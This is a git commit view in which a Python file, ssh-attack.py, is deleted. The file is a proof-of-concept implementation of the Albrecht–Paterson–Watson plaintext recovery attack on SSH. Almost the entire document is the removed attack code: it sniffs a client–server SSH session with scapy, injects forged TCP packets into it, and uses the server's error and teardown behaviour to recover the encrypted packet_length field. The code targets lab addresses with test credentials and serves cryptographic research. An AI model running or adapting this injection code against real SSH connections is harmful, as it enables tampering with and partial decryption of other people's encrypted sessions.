summaryrefslogtreecommitdiff
path: root/SSH Attack Summary/ssh-attack.py
diff options
context:
space:
mode:
authorCamil Staps2016-02-12 15:01:00 +0100
committerCamil Staps2016-02-12 15:01:00 +0100
commitefd533331d6a7f0c51ef857af448a6c84c3084ed (patch)
tree7f28f4e20a215784f27643ad49029332204528b2 /SSH Attack Summary/ssh-attack.py
parentMakefile (diff)
Removed spaces in path
Diffstat (limited to 'SSH Attack Summary/ssh-attack.py')
-rw-r--r--SSH Attack Summary/ssh-attack.py267
1 files changed, 0 insertions, 267 deletions
diff --git a/SSH Attack Summary/ssh-attack.py b/SSH Attack Summary/ssh-attack.py
deleted file mode 100644
index 22cac00..0000000
--- a/SSH Attack Summary/ssh-attack.py
+++ /dev/null
@@ -1,267 +0,0 @@
-#!/usr/bin/python
-"""
-Proof-of-concept implementation of [APW09]_
-
-.. [APW09] Martin R. Albrecht, Kenneth G. Paterson and Gaven J. Watson
- Plaintext Recovery Attacks Against SSH
- IEEE Security & Privacy 2009. IEEE 2009.
-
-AUTHOR: Martin Albrecht <martinralbrecht@googlemail.com>
-"""
-import pdb
-import pxssh
-import thread
-import scapy
-import time
-import sys
-import commands
-
-from scapy.all import IP, TCP
-
-#
-# Configuration
-#
-
-iface='lxcbr0' # the interface we work on
-bob='10.0.1.1' # the client
-alice='10.0.1.30' # the server
-
-def sniff_ssh_conversation(port):
- """
- Sniff the conversation between alice and bob and return the last
- SSH request/response pair.
- """
- packets = scapy.all.sniff(iface=iface, timeout=2, filter="tcp port %d"%port)
- packets = [p[IP] for p in packets if len(p[TCP]) > 4*p[TCP].dataofs]
-
- an = 0
- for p in reversed(packets):
- if p.src == bob and p.dst == alice:
- req = p
- an = req[TCP].ack
- break
- else:
- raise IndexError("Request packet not found")
-
- for p in reversed(packets):
- if p.src == alice and p.dst == bob and p[TCP].seq == an:
- res = p
- break
- else:
- raise IndexError("Response packet not found")
-
- return req, res
-
-def delayed(func):
- """
- Execute func one second late.
- """
- def wrapper(*args, **kwds):
- time.sleep(1)
- return func(*args, **kwds)
- wrapper.__doc__ = func.__doc__
- return wrapper
-
-@delayed
-def generate_ssh_traffic(s):
- s.send("a")
-
-def got_invalid_packet_length(response):
- """
- Return True if the packet list has a payload packet (i.e. it is
- neither only an ACK nor a FIN). We then assume that the packet
- contains an SSH error message which could either be a
- packet_length failure or a MAC failure which we ignore.
- """
- for (a,b) in response:
- if len(b[TCP]) > b[TCP].dataofs*4:
- return True
- return False
-
-def has_blocksize_failure(response):
- """
- Return True if packet list contains a FIN and no 'size failure'
- packet.
- """
- if got_invalid_packet_length(response):
- return False
- for (a,b) in response:
- if (b[TCP].flags & 1):
- return True
- return False
-
-def is_wait_state(response):
- """
- Return True if neither has_blocksize_failure nor
- got_invalid_packet_length is True.
- """
- return not got_invalid_packet_length(response) and not has_blocksize_failure(response)
-
-def get_port_number():
- """
- Get port number of current SSH session using 'netstat'.
- """
- for line in commands.getoutput("netstat -tn").splitlines():
- if alice + ":22" in line and "ESTABLISHED" in line:
- src = [e for e in line.split(' ') if e != ''][3]
- return int(src.split(":")[1])
-
-def ssh_attack():
- i = -1
- while True:
- i+=1
- sys.stdout.flush()
-
- # 1. start a fresh SSH session
- s = pxssh.pxssh()
- s.login(alice, "alice", "alice")
- port = get_port_number()
-
- # 2.1. generate some traffic
- thread.start_new_thread(generate_ssh_traffic, (s,))
-
- # 2.2. sniff data & inject
- try:
- a, b = sniff_ssh_conversation(port)
- c = gen_packet(b)
- result = scapy.all.sr(c, iface=iface, verbose=False, timeout=1, multi=True)
- except IndexError:
- s.send("\n")
- s.logout()
- s.close()
- print "Crap, something went wrong."
- continue
-
- # 3. check the response from the server
- response = result[0]
-
- if got_invalid_packet_length(response):
- # TODO: We ignore MAC Failures here.
- print "%5d: packet_length < 1 + 4 || packet_length > 256 * 1024"%(i,)
- continue
- elif has_blocksize_failure(response):
- print "%5d: need %% block_size != 0"%(i)
- continue
- elif is_wait_state(response):
- print "%5d: buffer_len(&input) < need + maclen "%(i,),
- for (a,b) in response:
- if is_ack(b):
- break
- try:
- return handle_wait_state(b, port)
- except PacketLengthUnlikely:
- continue
- else:
- raise RuntimeError("This case should never happen",response,s)
- return s
-
-def gen_packet(p, size=16):
- """
- Generate an SSH package which replies to p.
- """
- a = IP()
- a.src = p[IP].dst
- a.dst = p[IP].src
-
- b = TCP()
- b.sport = p[TCP].dport
- b.dport = p[TCP].sport
-
- b.seq = p[TCP].ack
- b.ack = p[TCP].seq + len(p[TCP]) - (p[TCP].dataofs*4)
-
- timestamp = p[TCP].options[2][1]
- b.flags = 0x18 # PA
- b.options = [('NOP', None), ('NOP', None), ('Timestamp', (timestamp[1]+100, timestamp[0]))]
- b.payload = '0'*size
- return a/b
-
-def is_ack(p):
- return p[IP].proto == 6 and len(p[TCP]) == p[TCP].dataofs*4 and p[TCP].flags & 16
-
-class PacketLengthUnlikely(Exception):
- """
- Raised if the value in the packet length field is unlikely,
- i.e. it is very small.
- """
- pass
-
-class MACFailure(Exception):
- """
- Raised if we see a MAC failure on the wire.
- """
- pass
-
-last = None
-
-def wait_state_callback(pkt):
- """
- Called on every packet on the wire.
- """
- global last
-
- if is_ack(pkt) and pkt[TCP].seq == last[TCP].ack:
- # We received an ACK for our last SSH request, so we send
- # another one. However, the TCP stack (in the kernel) might
- # send out ACKs before SSH got a chance to reply with an SSH
- # connection teardown, since computing a MAC for a long
- # message takes time. We have two strategies to deal with
- # that:
-
- # Strategy 1: We send packets that are too small. So if we
- # send to many we know how many were too much. To enable this,
- # set the second parameter to something < 16.
-
- pkt = gen_packet(pkt,16)
- last = pkt
-
- # Strategy 2: We slow ourselves down here.
- #time.sleep(0.05)
-
- scapy.all.send(pkt, verbose=False)
- return
-
- elif len(pkt[TCP]) > (pkt[TCP].dataofs*4):
- # We received a payload and assume a MAC failure.
- raise MACFailure(pkt)
- else:
- # Something wrong happened, this should never happen.
- raise TypeError("Unknown response", pkt)
-
-def handle_wait_state(pkt, port):
- """
- We send small packets until we receive a MAC failure. The sending
- is done via a callback only the initial packet is sent in this
- function. We keep track of the sent packets via the sequence
- numbers of TCP.
- """
- global last
-
- pkt = gen_packet(pkt)
- last = pkt
- first_seq = int(pkt[TCP].seq)
-
- thread.start_new_thread(delayed(scapy.all.send), (pkt,))
-
- try:
- scapy.all.sniff(iface=iface, filter="src host %s && tcp port %d"%(alice,port,), prn=wait_state_callback)
- except MACFailure, pkt:
- return calc_packet_length(pkt.message, first_seq)
-
-def calc_packet_length(pkt, first_seq):
- """
- Given a MAC failure message and a first sequence number calculate
- the correct number of bytes sent and thereby the value of the
- packet_length field.
- """
- packet_length = pkt[TCP].ack - first_seq
-
- packet_length -= packet_length % 16
-
- packet_length += 16 # account bytes sent initially
-
- packet_length -= 4 # don't count the packet_length field itself
- packet_length -= 16 # don't count the MAC
-
- return packet_length
-